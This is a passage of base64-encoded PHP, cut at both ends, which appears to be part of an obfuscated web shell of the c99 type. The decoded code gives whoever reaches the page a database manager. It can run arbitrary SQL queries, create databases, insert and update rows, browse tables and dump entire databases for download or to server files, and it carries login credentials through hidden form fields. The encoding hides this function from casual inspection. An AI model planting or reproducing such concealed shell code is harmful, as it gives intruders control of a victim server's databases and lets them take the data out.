0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikgewogICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOwogICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7CiAgJHNxbF94ID0gInF1ZXJ5IjsKICAkc3FsX3RibF94ID0gImJyb3dzZSI7Cn0KICB9CiAgaWYgKCRzcWxfeCA9PSAicXVlcnkiKSB7CmVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CmlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQppZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkgeyBlY2hvICI8dGFibGUgY2xhc3M9J3RhYic+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+IjsgfQogIH0KICBpZiAoaW5fYXJyYXkoJHNxbF94LCR4cykpIHsKZWNobyAnPHRhYmxlIGNsYXNzPSJ0YWIiPgo8dHI+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+CjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPgo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld3RibCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3dGJsIiBzaXplPSIyMCI+CkZpZWxkczogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9maWVsZCIgc2l6ZT0iMyI+CjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPgo8L2Zvcm0+CjwvdGQ+Cjx0ZCBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzO3BhZGRpbmc6M3B4OyI+PGI+RHVtcCBEQjo8L2I+Cjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuJyI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iZHVtcF8nLmdldGVudigiU0VSVkVSX05BTUUiKS4nXycuJHNxbF9kYi4nXycuZGF0ZSgiZC1tLVktSC1pLXMiKS4nLnNxbCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkR1bXAiPgo8L2Zvcm0+CjwvdGQ+CjwvdHI+CjwvdGFibGU+JzsKaWYgKCFlbXB0eSgkc3FsX3gpKSB7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsgfQppZiAoJHNxbF94ID09ICJuZXd0YmwiKSB7CiAgZWNobyAiPGI+IjsKICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVtcHR5KCRzcWxfbmV3ZGIpKSkgewplY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOwogIH0KICBlbHNlIHsgZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7IH0KfQplbHNlaWYgKCRzcWxfeCA9PSAiZHVtcCIpIHsKICBpZiAoZW1wdHkoJHN1Ym1pdCkpIHsKJGRpcGxheSA9IEZBTFNFOwplY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOwplY2hvICI8Yj5EQjo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7CiR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsKZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpIDo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOwppZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30KZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KZWNobyAiPGI+RmlsZTo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7CmVjaG8gIjxiPkRvd25sb2FkOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsKZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKZWNobyAiPGJyPjxicj48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPiI7CmVjaG8gIjwvZm9ybT4iOwogIH0KICBlbHNlIHsKJGRpcGxheSA9IFRSVUU7ICRzZXQgPSBhcnJheSgpOyAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7ICRzZXRbImRiIl0gPSAkc3FsX2RiOyAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOyAkc2V0WyJwcmludCJdID0gMDsKJHNldFsibmwyYnIiXSA9IDA7ICRzZXRbIiJdID0gMDsgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7ICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwppZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQokcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsKaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgewogIEBvYl9jbGVhbigpOwogIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7CiAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsKICBlY2hvICRyZXQ7CiAgZXhpdDsKfQplbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7CiAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsKICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9CiAgZWxzZSB7CmZ3cml0ZSgkZnAsJHJldCk7CmZjbG9zZSgkZnApOwplY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOwogIH0KfQplbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30KICB9Cn0KaWYgKCRkaXBsYXkpIHsKICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkgewogIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9CiAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOwogICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOwogIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7CiAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7CiR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9CiAgaWYgKEAkc3FsX2xzID4gQCRzcWxfbGUpIHsgJHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyAkc3FsX3RibF9wYWdlID0gMDsgfQogIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHsgJHNxbF90YmxfbHMgPSAwOyB9CiAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyAkc3FsX3RibF9sZSA9IDMwOyB9CiAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOwogIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHsgJHBlcnBhZ2UgPSAxMDsgfQogICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7CiAgJGUgPSBleHBsb2RlKCIgIiwkc3FsX29yZGVyKTsKICBpZiAoY291bnQoJGUpID09IDIpIHsKaWYgKCRlWzBdID09ICJkIikgeyAkYXNjX2Rlc2MgPSAiREVTQyI7IH0KZWxzZSB7ICRhc2NfZGVzYyA9ICJBU0MiOyB9CiR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsKICB9CiAgZWxzZSB7JHYgPSAiIjt9CiAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsKICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogIGVjaG8gIjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOwogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PXN0cnVjdHVyZVwiPls8Yj4gU3RydWN0dXJlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJyb3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiAmbmJzcDsgIjsKICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3g9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bPGI+IER1bXAgPC9iPl08L2E+ICZuYnNwOyAiOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiAmbmJzcDsgIjsKICBpZiAoJHNxbF90YmxfeCA9PSAic3RydWN0dXJlIikgeyBlY2hvICI8Yj5VbmRlciBjb25zdHJ1Y3Rpb24hPC9iPiI7IH0KICBpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0IikgewppZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30KaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKSB7IGVjaG8gIjxiPlVuZGVyIGNvbnN0cnVjdGlvbiE8L2I+IjsgfQplbHNlIHsKICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7CiAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHsKJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsKJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsKJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsKJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7CiR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsKbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgfQogIGVsc2UgeyR2YWx1ZXMgPSBhcnJheSgpO30KICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PHRhYmxlIHdpZHRoPVwiMSVcIiBjbGFzcz0ndHViJz48dHI+PHRoPjxiPkZpZWxkPC9iPjwvdGg+PHRoPjxiPlR5cGU8L2I+PC90aD48dGg+PGI+RnVuY3Rpb248L2I+PC90aD48dGg+PGI+VmFsdWU8L2I+PC90aD48L3RyPiI7CiAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkgewokbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsKaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQplY2hvICI8dHI+PHRkPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvYj48L3RkPjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJsX2luc2VydF9mdW5jdHNbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiPjxvcHRpb24gdmFsdWU9XCJcIj48L29wdGlvbj48b3B0aW9uPlBBU1NXT1JEPC9vcHRpb24+PG9wdGlvbj5NRDU8L29wdGlvbj48b3B0aW9uPkVOQ1JZUFQ8L29wdGlvbj48b3B0aW9uPkFTQ0lJPC9vcHRpb24+PG9wdGlvbj5DSEFSPC9vcHRpb24+PG9wdGlvbj5SQU5EPC9vcHRpb24+PG9wdGlvbj5MQVNUX0lOU0VSVF9JRDwvb3B0aW9uPjxvcHRpb24+Q09VTlQ8L29wdGlvbj48b3B0aW9uPkFWRzwvb3B0aW9uPjxvcHRpb24+U1VNPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIlwiPi0tLS0tLS0tPC9vcHRpb24+PG9wdGlvbj5TT1VOREVYPC9vcHRpb24+PG9wdGlvbj5MQ0FTRTwvb3B0aW9uPjxvcHRpb24+VUNBU0U8L29wdGlvbj48b3B0aW9uPk5PVzwvb3B0aW9uPjxvcHRpb24+Q1VSREFURTwvb3B0aW9uPjxvcHRpb24+Q1VSVElNRTwvb3B0aW9uPjxvcHRpb24+RlJPTV9EQVlTPC9vcHRpb24+PG9wdGlvbj5GUk9NX1VOSVhUSU1FPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfQUREPC9vcHRpb24+PG9wdGlvbj5QRVJJT0RfRElGRjwvb3B0aW9uPjxvcHRpb24+VE9fREFZUzwvb3B0aW9uPjxvcHRpb24+VU5JWF9USU1FU1RBTVA8L29wdGlvbj48b3B0aW9uPlVTRVI8L29wdGlvbj48b3B0aW9uPldFRUtEQVk8L29wdGlvbj48b3B0aW9uPkNPTkNBVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2luc2VydFsiLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlc1skbmFtZV0pLiJcIiBzaXplPTUwPjwvdGQ+PC90cj4iOwokaSsrOwogIH0KICBlY2hvICI8L3RhYmxlPjxicj4iOwogIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsKICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQogIGVjaG8gIjxicj48YnI+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOwp9CiAgfQogIGlmICgkc3FsX3RibF94ID09ICJicm93c2UiKSB7CiRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsKJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOwplY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CmVjaG8gIjxiPlBhZ2U6IDwvYj4iOwokYiA9IDA7CmZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7CiAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgZWNobyAkaTsKICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30KICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogIGVsc2UgeyBlY2hvICIgIjsgfQp9CmlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30KZWNobyAiPGJyPjxicj48Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+IDxiPlRvOjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwv